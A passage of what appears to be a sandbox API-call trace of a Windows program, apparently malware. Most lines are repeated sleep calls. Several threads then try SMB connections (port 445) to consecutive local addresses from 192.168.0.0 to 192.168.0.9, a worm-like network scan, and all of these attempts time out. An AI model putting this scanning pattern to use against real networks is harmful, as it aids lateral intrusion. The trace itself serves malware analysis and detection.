[0145.151] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0146.165] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0147.180] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0148.194] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0149.207] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0150.221] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0151.235] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0152.251] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0153.303] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0154.308] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0155.322] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0156.337] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0157.351] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0158.364] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0159.378] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0160.392] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0161.428] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0162.452] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0163.472] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0164.496] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0165.516] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0166.523] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0167.568] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0168.606] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0169.623] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0170.711] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0171.812] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0172.888] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0173.911] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0174.962] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0175.986] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0177.021] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0178.057] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0179.603] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0
[0179.673] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0180.719] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0181.743] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0182.796] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0189.103] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0190.111] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0191.157] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0192.170] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0193.184] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0194.553] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0195.555] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0196.569] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0197.583] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0198.596] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0199.610] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0200.625] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0201.638] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0202.676] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0203.718] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0204.864] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0205.914] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0206.986] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0208.038] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0209.142] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0210.237] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0211.371] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0212.506] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0213.571] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0214.630] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0215.683] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0216.714] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0217.862] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0218.929] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0220.041] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0221.295] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0222.434] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0223.499] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0224.538] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0225.557] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0226.584] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0227.623] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0228.626] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0229.672] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0230.715] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0233.725] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0235.079] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0236.220] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0238.525] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0239.563] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0240.610] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0241.656] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0242.743] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0244.305] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0246.801] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0248.142] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0249.942] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0253.890] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0257.452] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0260.357] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0263.588] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0267.112] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0270.201] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0272.328] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0273.443] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0275.686] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0278.483] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0280.374] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0282.356] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0283.369] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0285.121] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0286.160] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0287.983] SleepEx (dwMilliseconds=0x3e8, bAlertable=1)
Thread:
id = 7
os_tid = 0x600
[0072.350] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0072.385] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0073.653] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0076.545] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0080.738] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0081.755] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0082.782] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0085.023] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0089.467] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0090.473] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0107.063] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0109.427] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0110.472] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0111.710] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0112.783] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0113.871] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0114.960] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0115.965] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0117.023] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0118.054] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0119.088] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0120.113] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0121.176] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0122.212] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0123.248] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0124.278] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0125.357] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0126.400] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0127.624] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0128.879] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0130.378] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0131.391] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0132.529] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0136.157] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0137.164] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0138.352] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0139.374] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0140.377] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0141.406] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0142.405] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0143.420] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0144.434] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0145.447] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0146.462] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0147.476] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0148.489] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0149.504] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0150.662] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0151.672] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0152.687] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0153.703] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0154.714] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0155.728] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0156.742] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0157.756] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0158.770] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0159.784] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0160.806] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0161.861] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0162.910] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0163.936] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0164.955] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0165.965] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0167.001] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0168.119] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0169.152] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0170.172] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0171.229] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0172.269] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0173.303] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0174.339] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0175.434] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0176.476] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0177.592] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0178.659] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0179.674] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0180.719] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0181.744] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0182.796] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0189.102] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0190.110] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0191.157] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0192.169] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0193.183] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0194.553] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0195.554] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0196.569] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0197.583] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0198.597] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0199.611] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0200.625] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0201.639] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0202.677] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0203.718] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0204.864] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0205.914] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0206.986] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0208.038] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0209.142] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0210.237] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0211.371] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0212.506] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0213.573] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0214.675] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0215.726] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0216.764] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0217.870] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0218.929] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0220.041] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0221.296] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0222.433] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0223.498] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0224.538] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0225.556] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0226.583] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0227.622] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0228.627] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0229.672] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0230.716] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0233.725] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0235.100] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0236.247] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0238.526] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0239.564] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0240.611] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0241.657] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0242.744] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0244.305] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0246.800] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0248.142] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0249.942] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0253.890] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0257.452] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0260.358] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0263.588] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0267.112] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0270.200] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0272.327] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0273.443] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0275.685] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0278.484] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0280.375] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0282.356] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0283.370] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0285.120] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0286.160] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0287.984] SleepEx (dwMilliseconds=0x3e8, bAlertable=1)
Thread:
id = 8
os_tid = 0x3d4
Thread:
id = 9
os_tid = 0x78c
Thread:
id = 10
os_tid = 0x364
Thread:
id = 13
os_tid = 0x568
[0161.749] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.278] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x650
[0162.476] WSAConnect (in: s=0x650, name=0x27011a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.0"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.513] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1e1beb50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0189.292] CoUninitialize ()
Thread:
id = 14
os_tid = 0xb64
[0161.798] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.299] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6dc
[0162.504] WSAConnect (in: s=0x6dc, name=0x2702478*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.060] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1e3fead0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.523] CoUninitialize ()
Thread:
id = 15
os_tid = 0x81c
[0161.855] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.299] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6e8
[0162.505] WSAConnect (in: s=0x6e8, name=0x27025b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.2"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.136] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1e56ea30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.504] CoUninitialize ()
Thread:
id = 16
os_tid = 0xb8c
[0161.927] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.300] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6f4
[0162.506] WSAConnect (in: s=0x6f4, name=0x27026e8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.3"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.183] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1e75e850, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.496] CoUninitialize ()
Thread:
id = 17
os_tid = 0xba8
[0161.970] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.300] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x700
[0162.506] WSAConnect (in: s=0x700, name=0x2702820*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.4"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.230] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1e90e530, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.488] CoUninitialize ()
Thread:
id = 18
os_tid = 0xb88
[0162.019] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.293] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x67c
[0162.494] WSAConnect (in: s=0x67c, name=0x2701aa0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.5"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.684] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1eafe730, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.592] CoUninitialize ()
Thread:
id = 19
os_tid = 0xb9c
[0162.101] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.293] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x688
[0162.495] WSAConnect (in: s=0x688, name=0x2701bd8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.6"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.731] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1b38e2b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.587] CoUninitialize ()
Thread:
id = 20
os_tid = 0xba0
[0162.123] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.294] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x694
[0162.496] WSAConnect (in: s=0x694, name=0x2701d10*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.7"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.778] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1ec3e5f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.582] CoUninitialize ()
Thread:
id = 21
os_tid = 0xbe0
[0162.182] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.295] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6a0
[0162.497] WSAConnect (in: s=0x6a0, name=0x2701e48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.8"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.825] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1ee1e0d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.575] CoUninitialize ()
Thread:
id = 22
os_tid = 0x3a4
[0162.194] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.295] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6ac
[0162.498] WSAConnect (in: s=0x6ac, name=0x2701f80*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.9"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
